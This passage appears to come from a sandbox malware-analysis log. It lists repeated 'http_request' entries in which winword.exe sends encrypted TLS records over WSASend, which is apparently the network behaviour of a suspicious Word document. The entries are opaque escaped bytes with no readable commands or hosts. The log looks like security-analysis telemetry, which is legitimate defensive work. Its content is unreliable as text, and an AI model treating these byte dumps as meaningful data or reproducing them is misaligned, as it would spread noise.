0f\\xbc\\x7fp\\x04\\xff4"
  751.  
  752.  
  753. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd6\\x1a\\xaf^\\xa4\\x104\\xddi@q\\x7f\\xfd\\x98\\x019\\xe2\\xb8;\\xfa\\x99\\x9c\\x9e\\xa6\\xa8$\\xc3tg\\xa9\\x17a\\xfb^\\xa2^\\x94\\xdf\\x855\\xa6\\xd9\\x95\\xdf\\xcb\\xf4\\xb9\\xeb*;\\xe9\\xfa)&f\\xc4\\x7f\\xef\\x19\\xb1\\xc3c!\\xe7bk\\x1d\\x8f~\\x83t`u$\\xae\\xf0\\xe7\\x90\\x14\\x7f\\xd7\\xa5u\\xbd\\x15\\x95\\x92\\x86\\xe3\\x9fm\\x04$\\xc3\\x00\\x15\\xdf\\x8c8\\xcf\\xca\\xa4\\xb6\\xa3\\xf2\\x85\\x92\\x06\\xb7c\\xd9n\\x9a\\xd7\\x8b\\xca\\xb7\nxk\\x01\\xf3q\\x99\\xf0\\xe2t<\\xbf:\\xdd\\x93\\xb1\\xd0\"\\xc2\\xb3\\xb2z\\xfd\ro\\xa6)r\r\\xa7&\\x8d\\x9a\\x0f\\xaa\\x7f\\x1co\\x1a\\x0c'\\x0b?\\xe6\\x04:f\\x9f\\x12p\\xbe\\x95\\xdb\\xd2<n\\xa8\\xf2\\xa9\\xe6\\xf2\\x95n\\\\xba\\x05\t\\x85u\\x81\\x02h\\xe8\\xba\\xb4\\x07\\xee\\xc2\\x01\\x83q\\x00l\rl\\x06\\x94\\xc7\\x83\\xbc\\xde\\xea(`\\x0f\\xb6\\xa9\\xdb\\xa4\\xed1l\\xbd+?rt\\xefy\\xcd\\xdf\\xdb$\\xc0\\xd5o\\x1d\n\\xac\\xb04\\x05b\\xbam\\x02\\xb3\\x92\\x1b"
  754.  
  755.  
  756. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010$\\xc2\\xfc+\\xde\\xd5\\xbb\\xe0\\xab\\xd8\\xa8\\x9d\\xfd\\xe6\\xd2y\\xdb\\x88\\xc0y\\xbb\\x936\\x0b=r\\xff\\x8d\r\\x16\\xd5\\x94\\xc9\\x18\\xeb\\x97\\xffbj\\x86n\\x86\\x86\\xbc\\x84\\xa5\\x91p\\xedizg%\\xeeq\\x93hp\\xd7f\\x8c\\xf6?\\xdf\\xb6'b-\\xab\\xf7l\\x0f\\x8a\\xf6\\xba0\\xfb\\xa2'\\xe7c\\x1f\\xd0'\\xfe2d\\x18~\"\\x12\\x9f+\\xc1\\x9c\\x0ctl2\\xfe'b\\x88\\x8e\\xb7r\\xe2\\xef\\x02\\xc1\\xd8\\x14\\x81\\xa5\\x06\\xc9\\x17\\x18\\xbd\\x04\\x92r8\\xde\\xfc\\xd4\\xde\\x0e\\x0c\\xf2\\xa9\\xad\\xeb5\\x04\\xc9\\x1b\\xf6\\x97,\\xd6\\x07\\xe9\\x8c\\xa7c\\xc7\\x83,\\xec&p\\xb7\\xbbd\\x95h\\x80\\xfc`\\x05\\x11\\xb7c\\xd8b\\x06\\xf4b\\xa6\\x84\\xa36\\x8cr\\xb6e\\x9ae\\xd7\\x93\\xd9t\\x08\\xb2pn\\x1ets\\x8a\\xbe\\xe6\\xfbgy\\xc4\t\\xcc\\xad\\xa8\\x9e\\xee\\x10\\xe4\\x0f\\xe05\\x7f\n|\\x94\\xc4\\x8a`\\x12d\\x18\\x19\\xd8)\\x9e\\x86$$_,\\x85\\xd5\\xef\\xcdi\\xe6\\x00\\x99\\xb5\\x18\\x85\\x0c\\xb7\\xfe\\x85\\x0b@9\\xe1\\xc3"
  757.  
  758.  
  759. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0b\\x8e\\xaf\\xfez,\\xf51\\xeb\\xf1>* 5\\x03\\x9ed\\xda\\x12\\x18_y\\xb6`\\xa3\\x02\\x807\\xb9r\\x80(2\\x13\\x8d\\x8c\\x1e\\x9e\\x0c\\|12)\\x10\\xd9\\xb5\\xe9j\\x05\\xb3k\\xabuz\\x9a\\x02\\x1e\\xa0j\\xaat\\xfe\\x8a\\x07j\\xf3\\x06\\x9c\\xfe\\xbb\\xc7\\x04\\xe9r\\xe9\\xb8\\x9b\\xdc,\\x054ad\\xf4r\\x94oc'\\xd0qdg\\x8fr\\xe5\\xe3x.k\\xbd\\xe5\\x96~ih\"%\\xa6(\\x92\\x17\\xb7\\xd9\\xc7\\xf5\\xcafr`%\\x94\\xc3\\xd5\\xedz$\\xc2\\xa5<g\\x7f\\xeej\\x87\"\\xa0\\xee\\xe3\\xba\\xa8\\x0e\\xd3t\\x90\\xf9\\x17\\xd2\\xdcz0u\\xc6n\\xc9.&\\x9em\\xdaza\\xa9\\x0b\\x8c\\xa2\\xca!\\xb7\\xdd\\x98v\\x12 5c-\\xcbc4\\xb3\\x08l\\x02\\xeb\\xedr\\x93\\xc6ba\\xaa\\x93c\\xcah\r\\xf2(\\\\x18t\\xa4\\xc5\\x9e\\xady\\xfb\\x1c\\xa4\\xcca9\\x14\\xba\\xf9\\xf4\\xd8\\xe2!\\xb3p\\xb30\\xc2\\xd7\\x87\\x8b\\x87\\xbb\\x07\\xf7\\xach2-t\\x94\\x00\\xff^g$h\\xce"
  760.  
  761.  
  762. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\t\\xfb\\xd0.\\x04\\xf3\\x85\\xc7\\xda\\xde'i%\\x84\\xe7\\xc5\\x80\\xc7\\xca\\xfe\\xaa\\x08\\xad?.\\xc1\\xae\\x86\\xf9b\\xf2\\xd2\\x0b\\xfe`\\xb6\\xa2\t@p\\xec4y\\xcb\\x17so\\x1e\\xce\\xbb\\xb2~\\x009\\xa6y:p\\xe4l\\x9ct\\xedk\\x94.\\x94dh\\xa9\\x9a\\xff\\xd0i\\xaa\\x0f+tv\\x90\\xd0\\xdc$1\\xa2%\\xb2\\xdf.\\x15\\x85\\xfb\\xf6\"z4)\\xfd\\xbb\\x86\\x80\\xeaj\\x1f$\\x15\\xb3\\xb3\\xf2\\xde\\.u\\x971\\x01\\xb9\\xe3\\xd3\\xe6%?\\xe4xhf\\x04\\xda\\xb2\\x97g\\x1c>20\\x95\\xa2\\xad\n\\x07\\x9f\\x0e\\xf5fj\\xcf\\x83jb s\\xb0\\xe6i\\xbe\\xfe&\\xf2\\x7f\\xc8\\x19nu\\x18\\x0b\\x1f+\\xf1\\xaa!\\xec#\\xc4\\x84pg\\xf6\\x18\\x0c,\tjr\\xd0j\\xf1\\x1d\\xd8\n\\x88\\xdd\\x0e.\\xef?q\\x0c\\xa3_\\x9e\\xf9\\x94\\xe8\\xb2\\xa9\\x1e\\xd2\\xb4\\x8ds\\x84\\xcd\\xa5\\xff,\\x0f\\xcfxa+\\xc62\\xd3|\\xe8p\\xa6\\xf8\\x08*\\x95\\x14\\xc1u\\x89\\xd9\\xf0\\xa8\\xca\te\\x0e\\xf6sz\\x16s\\xf3"
  763.  
  764.  
  765. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010$\\xec\\x13\\x84e\\xd4n\\xf1-\\x1c@\\xb2\\x8b\\xeb\\xb1\\xa5\\xc3\\xb8\\xaf\\xd6\\xeb\\xaf\\xbe\\xb4\\xbf\\x99\\xf8\\xf2o\\xa2\\x170\\xa0\\xf9\\xe4\\xb8\\xee8%\\xac\\xd7\\xb7h\\xd1\\x9e\\x17\\x80\\x96\\x1a'h\\x92\\xe9h$\\xaa\\xc9,=`\r\\x84\\x00\\xe6\\xf2\\x06=>\\x15\\x11a\\xbf\\x90\\x81-\\x96\\x08b\\x1b\\xf2\\xe4d\\xab\"n\\x11\"\\xa1z\\xf7\\xac\\xb7\\x89\\xea\\x19c\\xdbr\\x8d\\xa9\\x8ehl\\xfcj\\x18\\xee\\xc7t\r\\x95\\xbe\\x88;\\xb7\\x9e\\xb1#\\xe3\\xee\\xcfw\\xe3\\xa7\\xc8\\xb2\\xd9\\xfd\\xd7\\xf9+\\xa60\\x1c\\xe6\\x8e0\\xcd\\x17\\xa1\\xa8\\x14\\xebo$xy\\x16f~x\\xc5\\x1c\\xbck\\x8f\\xf1\\x05\\xb0\\x07j\\xa7f6\\xe5\\xc3\\xb232@\t\\xa9\\xf1\\xcf\\xa4l\\xd8\\xbb\\xb1\\xa5\\xf2\\xc4\\xad\\xe0\\xd2\\xf3\\xd5430+\\x96\\xce\\x9c^~\\xc7r\\xcc\\xa5\\x02\\xad:\\x82\\xd2\\x86\\x14\\)ag\\x91zz\\x9c\\xe7l\\xc6\\xb8p\\xab\\xc4\\x8f\r\\xa3\\x99\\xbda)\\xf6\\xabl\\xff\\xbaxmy\\x94\\x1bw\\x8a\\x8f\\xb0\\xfa\\xbd$\\xc3"
  766.  
  767.  
  768. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf8\\xe0\\xca\\xd0\\xder\t\\x84\\x8f\\x8a\\xa6\\x12\\x07\\xd3\\x8b\\xe3\\xce\\xac\\x9a\\xb8\\x0e\\x88?\\xa3h\\x85?\\xbb\\x88+\\xce\\xd1\\xf1\\x93\\xa7\\x1cz\\xf7\\x06\\xc7\\xde\\x883\\xc0g\\xc5\\x01(\\xef\\x1e\">\\xff\\xa8i\\xe88\\xe6f\\xe5(\\xf3k\\xe8\\x901\\xf8hfs7\\xd9!\\x1cz \\x96\\x05t\\x16ki\\xfbd\\xe4b\\x92\\x04\\x0et\\x81t>\\xees\\x8f,\\x90\\x19v\\xa1l\\x11y:'\\xdd4\\xe9<j\\x1a\\xb2\\xefgv63\\xf5@\\xdd\\x86\\x95\\xd1\\xd8\\xe9\\xe6\\x06\\x12\\x0b\\xe3\\xb0\\x1a69\\xf2\\xe1fc\\xa7b\\xd6\\x1b\\x1f\\x9dj\\xa6\\xbe\\xf7\\x88\\xa8\\xbe.0y\\xedz\\xbf\\xdc\\xf3\"cx\\xac\\xaa\\x93\\xdc\\xc5\\x0f\"2(\\x91\\xd5;39\\xb7/y\\x920&\\xd2\\xbf\\xd5b\\xb8\\x14\\xb9\\xe3_ \\xcfgq\\xcd~9\\xee(\\xce\\x02\\xfe\\x94\\xd7:\\xce\t,1\\xf1+\\xf4\\xe5\\xaa\\x89c\\xf4\\xcd3v\\xcbv\\xa1d\\xb3\\x8e!\\x02\\xdeb\\xc3\\xe7\\x96\\xbabip\\xcc\\xc1\\xdc_%it:3"
  769.  
  770.  
  771. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x00\\x82i$\\x1d\\x1fx\\x90\\xf2\\x8d8\\xdb\\xd5s\\xc82@w\\xf1nak\\xeb\\xa7\\xe5\\xc2\\x1c~\\xdb\\xbb\\xbf\\xbe\\xa6')\\x10\\xf3\\x8b\\x90\\x1a'\\xcf0\\xc2w\\xber\\xf5\\xa7\\xb5:\\xe1\\xce\\xbb\"%\\xe08q^o\\e$\\x14\\xf7kh5q\\xf2s<\\xe3|\\x9a\\xb3n\\x80z\\x90\\xb1k)\\xdc\\x7fh\\xb3\\xd4\\x00\\x8bl?\\xad\\xc1\\x17\\x1e\\xc1>\\x19\\x08\\x16\\xd7n\\xd7\\xdd\\x11u\\xb3(\\x8f\\xf7rt+q\\x03\\xa9\\x84\\x840\\x80/g\\x18v\\xddu\\xfc\\xd0\\xffb\\xc7o\\xfe%'y\\xe4-\\xd9\\x11 i6k\\xe2\\xe4o\\xae\\xa5\\x85\"\\x9b3e\\xc3\\x05\\xe0f\\xfb@ado\\x9d\\x11\\xf8b;\\xa2\\xb5\\xab\\xe8d\\xc2\\x8f\\xc1\\xcf\\xfd\\xc8\\xba\\xdd)\\xb3z\\xc7+\\xa2\\xc1\\x04|\\xdau\\xe7\\xe8l\\x0f\\xf7g&\\xa9\\xa4\\x98h\\x9eq\\xd5\\xb3p^t\\xd1\r2w2\\xb1\\x18\\x96\\xf0y\\x19`x~\\xc5\\xea\\xe6\\xed\\xe6y\\xc4\\xcc\\x80\\xfbm7\n\\xb9\\xf7%=\\xf1\\xa0z\\x9f"
  772.  
  773.  
  774. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0109\\xcc\\x80g\\x07\\x9e\\x18\\xe4\\xae\\xa6g\\x8euh\\xbc\\x1a\\xdb(\\xc4t\\xcc$\\xfe\\xd0\\xdcpj\\xb8_\\x16\\xcc\\xd8\\x9c\\xc0\\x84\\x97\\x11\\x8a\\x81\\x00\t\\x17\\xb5\\xf4\\xdb?\\xa8r\\x8c\\xe6\\xe8\\xa7\\xc9\\xa3\\xb6z\np\\x0f\\xdf=\\xd33z\r?^.\\xf2\\xe3\\x8b\\xb9\\xb8n\\xb5 :\\xbd\\x82\\xca\\xe2(debv\\xc5\\xa29\\xc6\\xaa\\xf5:\\xa7\\x19\\@c\\x11o_\\xfdp\\xf3\\xefm\\xf8@k\\x85\\x17bwlv\\xfddz\\x89\\x91@y2\\xf9\\xd2qdd\\x93vaj!#vq\\xf2\\xc3\\x81l\\xa9\\xe1seis/\\xd8\\x1e\\xa7n_\\xee\\xde\\x17ou\\\\xe54\\xbb\\xd2z\t\\x83\\x0b\\xdf\\x02\\x0f\\t7\\xbd\\x01\\x93\\x0bx\\xe8\\xcfhl\\xc3\\x01\\x03\\\\xcf\\xd2\\xad\\xe7=\\xdc\\xa9\\x96\\xcf\\xd1\\x89q\\xcb\\xd8\\x04\\xe2\\xb6b#k;\t\\xd96\\x96v\\xc2\\x02\\x83\\xbbe:\\xa9%v\\x08d\\x13\\x8b\\x13\\xf8\\x99\\xd6\\x91\\xbe\\xb8r\\xe2\\xd3\\xcb\\xa2\\xd9\\x04\\xe5\\xd4v\\xbd\\x15\\x196\\x02u\\xb3\\x1d"
  775.  
  776.  
  777. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xec\\xea\\xa71of/\\x05\\x02\\x9d\\x9bz\\xe6\\xd8s\\xe7m\\xb2u\\x95\\x99\\xdcuy$\\x9b`c\\x9c\\xbe\\xa0\\x1e0\\x0c\\x8c\\x0e*\\xba\\xfa\\x02\\x03\\xe6\\x00\\x19\\xf2\\x9d\\xf9\\x19o\\x80\\xa6\\x85n#j\\xae\\x84fej\\x841\\x0e\\xa4\\x15c\\xf7l\\xe3\\x02u\\xd1\\x87\\xb5_\\x0e\n\\xb4\\xf9ut\\xf5\\xe5\\x06o\\xde\\x8e\\xa5\\x18h\\xbd!p\\x87gj\\xee\\x9e\\xec\\xf9\\xea\\xads+\\xa8e\\x93\\xd6/n4n\\x01b\\xae\\x9b\\xa4y+\\x1e)<\\x14<\\xd5\\xc5\\xc1\\x1d\\xaeaov\\xc9\\xd8op\\xe2\\xad\\x8ej\\xaa\tf\\x86n0\\xf5\\xbb55v\\xa7\\xf2c\\xdc\\x14\\x85\\xc1\\x0e\\xb1\\xe1\\xb0ms\\xc3\\xa9'\\x15\\x1c\\xf1\\x1a&\\xb05\\x9a\\xb2\\xf1\\xc5w\\xaf\\xc7\\xea\\x90\\xec \\x07\\xfd\\xc3l@\\xd3z\\xa3o \\xa0\\x02\n\\x9a\\x08/\\xc8=\\xa5\\x1ep\\xdd\\xe3\\x92#,\\xf5?\\x90\\xf8e(\\xa0\\x06\\x07a\\xd0y\\x15\\x1b\\xfdfq\\x8cs3r\\x87\\x05\\xde\\xf6\\xdex\\xd6+\\x10\\xae\\x82f\\xaf\\xcdn"
  778.  
  779.  
  780. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010_\\xc0\\xb9)q\\xb7,\\x98\\x82+\\xaei\\x97\\xa6\\xb8\\xda\\xfc\\x86\\xc9\\xc3\\xd3\\xa0y\\xaatm\\xa4*d\\xe3\\xfc\\x01\\x8b\\x82\\xfey\\x9dz4<\\xe0\\x99\\x86*\\x92\\x9f\\xc8c\\x17\\x8e\\x81\\xa3o\\xde\\xa9\\xa1\\xd5\\xfe\\xda\\xdf-\r\\x8do\\xb0\td5`\\xb4\\xfd\\x1f\\xda\\x87+\\x8cp\\a\\x91\\x9b\\xb5\\x1aa\\xb5\\xf9\\xfc\\x9c\\xaeq\\x02\\xc9\\xef\\x19\\xe9\\xd8l\\x01cok\\x99\\x7f(>\\xf9\\xb7\\xf6\\xb2\\xb5_\\x94a\\xad\\x05bg\\xb11\\xcd\\x85\\xb3`\\xfb\\xdd`z\\xf1i\\x1e\\x1a6\\xf2%\\xd1\\xcb0l\\xd7\\xe9a\\x85\\xa9\\xf4\\x12\\xb4\\xb6\\x19\\x85!|\\xb5\\xe1\\xb9\\xa6\\xa7(\\xddr\\xae\\xf42\\xf4juz\\xa2\\x92\\x9a\\xccg6\\xa7\\x14\\xbds6=\\x02z\\x99\\xadc\\xcc\\x98\\xdc\\xa2$\\x08\\xfe\\x84x\\x14\\xa5\\x08\\xc9c5@oc\n\\x1c\\x1e\\xcf\\x02ba?mk@>/\\xd0\\xaa\\xc9i\\xad\\xda\\xeb\\x01\\xee\\xef\\x1c\\x90t\\xe8u\\x16\\x11\\xc4\\xb71(\\x87\\xef\\x99\\xca\\xd8\\xcfn\\x1c7"
  781.  
  782.  
  783. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c\\xea\\xa1\\x1b\\x11\\xca\\xc2u\\x95\\xd15\\x82\\xd60<!=\\xb0\\xbe\\xac\\x98\\xc9\\xbfx\\x0c\\xb9x\\xa4\\xa3g\\xd6\\xbd\\xea\\xc3\\x99|\\xa4\\xfasv,\\xc4`ab\\x9e\\x1e\\x8d\\xd4\\x86\\xe3\\xa8q/\\xf6\\xf2x\\xa7\\xb0\\xaa\\x14\\xdb)\\xe9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xcf/\\xae\\xa7\\xb5a\\xbe\\xfd\\x17\\x9f)g\\xdf\n\\xb6x\\x06%\\xd7j(\\xe0&\\x08\\xbe\\xff\\xb7\\xa4\\xf8n\\xd4\\xb1\\x15#\\xdc/kp\\xf0\\xf3\\x80|t\\x88\\x85\\xc5"
  784.  
  785.  
  786. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd3\\xc4\\xf2,\\xc4a\\xf37d\\xe6@\\xa3\\xceo\\xe5poi\\xf3\\x7f\\x99\\xaae\\xde<\\x84\\x89\\x9b#\\xf5\\xa5\\xf6\\xfa\\xba\\x85\\x89'i\\xc3\\x8b\\xf5\\xa6\\xf2\\xe1\\xe7\\x0c\\x06=\\x14\\xba\\xc1z\\xd7(ax\\\\xc5\\x90\\xf2\\xae&\\x1c\\xd7sv@m\\x8a\\xdfr\\xa35\\xc4,\\xc4\\xde>\\x9c\\x08\\xa5x\\x9d\\x1el~k\\xbb!\\xc6\\xdc\\x90\\xc7\\xb4\\xfd\\x8b\\xcc\\xcd\\xe1\\xbdc\\xac\\x97\\xa1y?\\x15\\xf9dr2\\xeeu\\x1d$t\\x0e\\x17\\x1e\\xee\\xa6\\x0b\\x83\\xb4\\xf6\\x95\\xda\\xa0n\\xach\\xa5\\xad_\\x86\\x82g^\\xd7\\xf3\\xce\\xb2\\xae\\x83t\\x83\\xc7&w\\xa0\\x06\\xbd=b\\xa0\\xa3\\xc4,a\\xde(\\x8d\\xd0\\x82\\xd8\\xf7\\x04z\\x18^\\x1588\\xd0\\xc9\\x15\\xb6*3\\xa1\\xe6n\\x7fg\\xa1\\xe1m\\xcb\\xa7\\xdd\\x06+\\xc2\\xd2~\\x9e\\x8a\\x89\\x9af\\xafliy\\xdd\\x80y0\\x1e\\x9d\\x04\\xd9\\x9e,\\xb70\\x99\\xdf\\xa9\\xa3\\xafv<\\x9a,\\x92\\xe8\\x87d\\x19\\xc6\\xf5\\x19i=3\\x00\\xd4\\x8e\\4\\xcc\\x97\\xb0?\\xec^\\xb8>"
  787.  
  788.  
  789. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb8\\x01\\xc0\r\\x8a\\x1f\\xf7\\xb11f\\xa2z\\xda_\\xb4\\x98\\x86\\x1e\\x1f\\xd6\\x07k\\xc1\\\\xe6\r\\xc0\\xa5\"\\xad\\x99\\x89\\x06\\x04\\x0f2\\xff\\x06\\xc6\\x9dl\\xb1z\\x90.\\xeb\\xef\\xe7\\x0f\\xce%\\xbf\\x8f\\xab\\xeefe\"l+e\\xd5\\xf7a#\\xfd\\x81_\\xb7\\xf2\\xce\\xb8\\x9c\\xb5`j\\xa1%\\xbb\\xe0q\\x80\\xd8\\xbb\\\\xe0\\x19\\xc3s\\xe3\\xee\\x95*\\xcey\\xd9ge\\x0e\\x81f\\xc4\\xc5\\xb0\\xfa\r\r\\xb9\\xa3~3\\xae\\xbd\\xf3\\x9d\\x02\\x91\\x83\\x88\\xe8yzg\\x96\\xab\\xbc\\x14=\\xac\\xadz\\xe0\\xb9\\xa5\\xce\\xae\\xe1\\xa5\\xd5\\xcf\\x8c!x\\x13\\xc4\\x80\\xcb\\xeb\\xf3\\xbab\\xad\\x18m\\xe1y\\x9b\\x9e\\x95h\\xd4d\\x9a\\x89\\x9e\\x11\\xfa1\\xa8\\xaar\\xe8,#>a\\xc8zl\\xf7\\xd3\\x00\\x8a?730\\xc6\\xa8hv\\x88\\xd7\\x8b\\xa5\\xff\\x9asi\\xd5\\xf5_\\xeaa 4\\xc8\\x1c\\xba\\xdbb\\xd72\\xc9\\xe37\\xc7u=a\\x92'\\xe5\\x14*\\x04\\x9f\\x0e\\x12\\xb2 \\xa3x\\x11\\xbe\\xe4x1h=\\xf8omf\\x94\\xfax"
  790.  
  791.  
  792. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e!\\x11d\\xa3-5\\xbfo\\xaag\\xdf\\xf8d\\xc7\\xf6\\x19\\xa7\\x0f\\xab\\x07\\xc2\\x86s\\x8d\\xceq\\xca\\\\x86\\x1d\\xdb.\\x88,\\xb3\\x04\\x1b\\xc7\\xb1\\xd9#\\x0c\\xd0'\\x9dgy6\\x0e_\\xc0\\x07\rbx\\x0c\\xafp\\x93\\xdf\\xe5\\xe1\\xd7\\xa9:\\x9d\\xebn/\\xba\\xdf\\xc39\\xcac`\\xff\\xdc\\x08\\xe2\\xe2\n/\\xb0\\x06\\xe0\\xb8\t\\xcc~r\\x85^\\x81\\xfd\\xc3\\xb5\\xbej\\xc4\\x90\\x15\\xdcj\\x06\\x17e/\\x95 (\\x03\\x86\\x8c\\xf8up-\\xb4\\xb9\\x11r\\xb2\r\\x87\\xa0u\\x04\\xa4c\\xd4r\\xe3\\xa2\\xdc\\xd1\\xdd%f\\xa52\\x94_\\xa6t\\x07\\x85\\xfd\\x15\\x87\\xbd)\\xa1\\xf9\\x0bpz\\x0b\\xb0\\xcc,==\r\\xebq\\x1fu\\x1e\\xbb\\?\\xc9\\xd9x\\xf6q\\xa8j\\x92\\x82\\xed\\xac\\xd4\\xce\\x92\\xd7c\\xa4\\xab%n\\xd59\\xa4\\xcd>.rd\\xbd@w\\xb3~n\\x85*\\xb6\\xc70\"\\x83g\r\\x16r5`\\xc5\\x85\\x177e\\x0e\\xdb\\xbd\\xddt0u\\x9bb\\x1a\\x8a4\\xbe\\xee\\xa5\\xda\\x94\\x86"
  793.  
  794.  
  795. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf3\\xf2k3k\\xa9\\x13w\\x96\n\\xc9#\\xb4t\\xbdz\\x89\\xfct\\x9c\\xff?\\x7f8*\\x105\\xcf82\\xab\\x9e\\xcb\\x11.#\\xf7\\x85 \\xbbk\\x9bx\\x0bj\\xd3*\\xa7\\xde\\x1f\\xb8j/j\\x1au\\xdc\\x92\\xe7\\x00\\x11sf\\x85qbn\\xbc5\\xe0\\x02\\xd6t\\x9c5\\xeee\\x1bt\t\\xa7\\xb9\\xe2\\xf6\\x0e\\x91x_\\xaf%\\xde\\x07\\xec\\x14\\x14\\xa9<\\x19\\xe99\\xbbm\\x96j\\xfa\\xdebo\\xfbbz\\xb0a\\x1d@\\xc9\\xbb\\xcdv\\xabhd\\xdb\\x01,vm\\xb7\\xd7o%\\x81g\\x10\\xf4m&@2\\xb9\\xe33_\\xf6\\xbf;\\xe1\\xe7\\xaf\\xc6k\\x10\\xb0\\x89!.|0qa`\\x9e\\x16\\x10\\xc7\\xfd\\x82\\xb94\\x02\\xc7\\xe9\\x04\\xf8l\\x97\\x01\\x9fkw\\xc5z\\xa1\\xe6\\x82\\xec\\x80\\xab;\\x19'\\xde\\xc4\\xb5\\x97\\x01zfpji\\xec\\xad\\xa9\\xfa\\xbc3?\\xda\\xad5^\\xa5\\xcao+\\x1dc\\xd0:=\\xd6~5\\x11\\x14\\xd9\\x1d\\xc5\\x86k\\x17\\xa9\\x02\\xa5\\x94\\xde\\xd8?\\xdf\\xa4\\x14\\x1f2\\xc3\\x19e"
  796.  
  797.  
  798. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b0uf\\xb7\\xca\\xab\r\\xbf\\x9cq\\xe71\\x04\\x06\\xbc\\x1b\\xffm7\\xf3\\xf3-\\xd5\\xb5\\\\x95\\xd4\\xbb\\xd7\\x8d\\xaa\\x93c3'\\xc9\t\\x83e\\xd3\\x16\\xeek\\x05\\w\\xf4bp\\x7f`..\\x0f3m\\xbb\\xcd5\\xf8=\\x82\\xe5\\xa0@\\xcaw\\xa0\\xf2&\\xd2\\xc7\\x07gpco\\xd5\\xc0\\x9f\\xeb\\xca<\\xad\\x12\\x81\r\\x83\\xfd_\\x97\\xb1\\x80\\xd7p\\x04r\\x03\\xaf\\x00\\xb0\\xe7\\x04\\x8a\\xf9\\x15\\x13\\x8b\\xack\\xb23&<\\x94i\\xd3\\xfc\\x86\\x92\\x16huo\\xd3\\xb9\\xe1\\x1a\\x86|\\x19oz\\xeff \\xf9\\xaf\\xc3\\x01\\xf3\\xe4\\xcc\\xa9z\\x1ez8\\xa8\\xad@\\x91\\x15\\xa3\\xd1\\xeam\\x92h\\xa72\\x0f\\x0evbde\\xfdo\\x93\\x1d\\xaf\\x81\\xee\\xdf\\xb3\\xa6\\x19\\xd8\\xd6\\xbf/\\xfe\\xc8`\\xc5\\xaaq\\xe2\\x11\\xf5\\xa7\\xac_'\\xa2v\\xeb\\x17\\xc5\\xc8\\xf1-\\xd3\\x8e9\\x19\\xd2/t/\\xa3\\xf4!?\\xc4ma\\xbfln\\xa0\\xb6\\xfd\\x98\\x93\\xef\\xec\\x02\\xdbyl\\xd3\\xb0\\x9c\\xba\\xae\\x00c\\xc9d\\xf20\\x17\\xf2x\\x8d\\xa3"
  799.  
  800.  
  801. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa9e\\xf2\\xd5u\\x8b\\x19q\\xbc\\x90\\xc1hyt3l\\x9b\\xa4\\xe8\\x8d\\x9d&\\x13\\xf4\\x8f\\x9f\\xbd^\\x02\\x99\\x1d\\xfaq\\x1do\\xa5f\\x1e\\x10?\\xc59g\\xbb,\\xabmz\\xb9\\xb4\\x89\\xcf\\x82\\x81\\xb6s\\x90\\xc3\\xa4c\\xc2\\xed\\x04\\x13\\x9d/\\xab\\x10\\x8b\\x80p\\x01\\x8b\\x15\\xdca\\xff\\x98on\\xbe\\xe0\"\\x01\\x19\\xa0\\xd0q\\xc4\\x1a\\xbahd\\x1c\\xa0\\x0c\\x8e(\\x87\\x1a|:q\\xb0\\xae\\x0e\\x1b\\x8ed(?\\xaa\\xfd\\xabi\\x98b\\x7fr\\xc3\\x16\\x88k\\xae\\xbbgl\\x14\\x82\\xd7&7\\xb0\\xedpu\\x92\\xd7\\xa5\\xa5\\x1a9\\xb6a\\xa6|\\xf2t\\xadu\\x9ew\t\\xad|v\\xa8\\xc9w\\xa7t\\xf4bm\\xad\\xbdo\\xe8%\\x91\\xd2\\x8a\\xb8p\\xbej\\x03\\xe8\\xf8\\xc2\\x168\\.\"j\\xfc\\xa0\\xde\\x8e?e\\x92k\\x99\\xb6gnx\\x81\\xee\\x82f\\xe3cu\\xd2i\\xdf\\xca\\x00<q\\xee9\\xc5\\x97:x^\\xba\\xc0_\\xa4w\\xecl&-\\xf95\\xc2'rw\\x90\\xe1\\xd8\\x8a&tm=\\\\xc7\\xf0(\\xab\\xcc\\x8d"
  802.  
  803.  
  804. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xde\\x1f\\xd70e\\x97\\x94\\xee\\xc2r8\\xef\\xf3\\xb6\\xe2_\\x87\\xee\\x07\\xc6\\xa2\\xc0\\xc0ot1\\xa8\\x1f\\x8a\\xe0\\x89\\x82\\xb1t\\xf4\\x9328n=6\\xe3pt\\\\x05w\\xe8\\xc2px\\xa1\\x92\\x9f\\xb8\rzm9\\x93\\x04b\\x1f@\\xc4\\xff\\xd0\\xf5x\\x04\\x08\\xef\\x1d1\\x11\\x8e1\\xf9b\\x1e\\x16\\xf3\\x92a\\x81?\\x0c\\x85z,\nl\\xe8\\x92|d\\xd8\\xe4\\xae\\x8e\\x8e\\xff?\\xdac\\xden\\x11ka)\\xae\\xc6l\\xe8\\xa2h'\\xf57\\x0ey<8m\\xf1\\xa2\\xfb(\\xca\"\\xc5\\xd8'\\x1ay,\\xf6\\x17\\xc1\\xd4\\xf0k\\xcc\\x97jj\\x12\\x1b\\x9f\\xe2ia:\\xcb8\\xed\\x85\\x92>\\x1c\\x03/\\xe0\\x9a10\\xe5\\x02\\xe7\\x99\\(p\\xe0\\xe9\n\\x88\\x01x\\x1c\\x1a\\x08m\\x86\\x887\\xb1dp\\xf1\\x04\\x00!y\\x91\\x16v\\xc8(\\xaf\\xb0\\x96\\xca\\x96\\xab\\x1e\\xf5\\x82'xpm\\xf2\"\\xe8z\\xbdc\\x8dmgtyp\\x83\\xa6w\\xd7\\x1e\\xfe'\\x9a9=\\xa9o\\xc5\\xf7\\x05\\x86\\xbc\